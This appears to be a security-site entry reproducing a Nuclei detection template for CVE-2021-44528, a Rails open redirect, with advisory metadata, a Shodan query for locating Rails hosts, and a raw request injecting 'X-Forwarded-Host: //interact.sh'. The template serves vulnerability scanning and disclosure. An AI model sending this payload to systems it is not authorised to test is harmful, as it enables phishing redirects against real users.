CVE-2021-44528: Open Redirect in Host Authorization Middleware

2025-08-01 Host Authorization Middleware PoC Public

Description

Specially crafted X-Forwarded-Host headers in combination with certain allowed host formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.

PoC

id: CVE-2021-44528

info:
  name: Open Redirect in Host Authorization Middleware
  author: geeknik,jakxx
  severity: medium
  description: |
    Specially crafted X-Forwarded-Host headers in combination with certain allowed host formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.
  impact: |
    This vulnerability can lead to phishing attacks, where users are tricked into visiting malicious websites and disclosing sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the Open Redirect vulnerability in the Host Authorization Middleware.
  reference:
    - https://seclists.org/oss-sec/2021/q4/att-160/7-0-host-authorzation-open-redirect.patch
    - https://github.com/rails/rails/commit/0fccfb9a3097a9c4260c791f1a40b128517e7815
    - https://www.debian.org/security/2023/dsa-5372
    - https://security.netapp.com/advisory/ntap-20240208-0003/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44528
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-44528
    epss-score: 0.04182
    epss-percentile: 0.90655
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 1
    vendor: rubyonrails
    product: rails
    shodan-query: cpe:"cpe:2.3:a:rubyonrails:rails"
  tags: cve,cve2021,redirect,rubyonrails

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-Host: //interact.sh

    matchers:
      - type: dsl
        dsl:
          - 'regex("(?i)location:\\s*(?:https?://|//)[^\\s]*interact\\.sh", header)'
          - 'regex("(?i)(?:set-cookie:.*_[\\w-]+_session=|x-runtime:)", header)'
          - 'status_code == 301 || status_code == 302 || status_code == 307 || status_code == 308'
        condition: and
# digest: 490a00463044022062d4040f4cf9c7dc7df008b18a5993923fe7572f9acf2858e9bd26c5890f28b60220532fc2aa6dddc4f96c504341b212e8b4dbd40f3bcbff4b912fcd7856881e1237:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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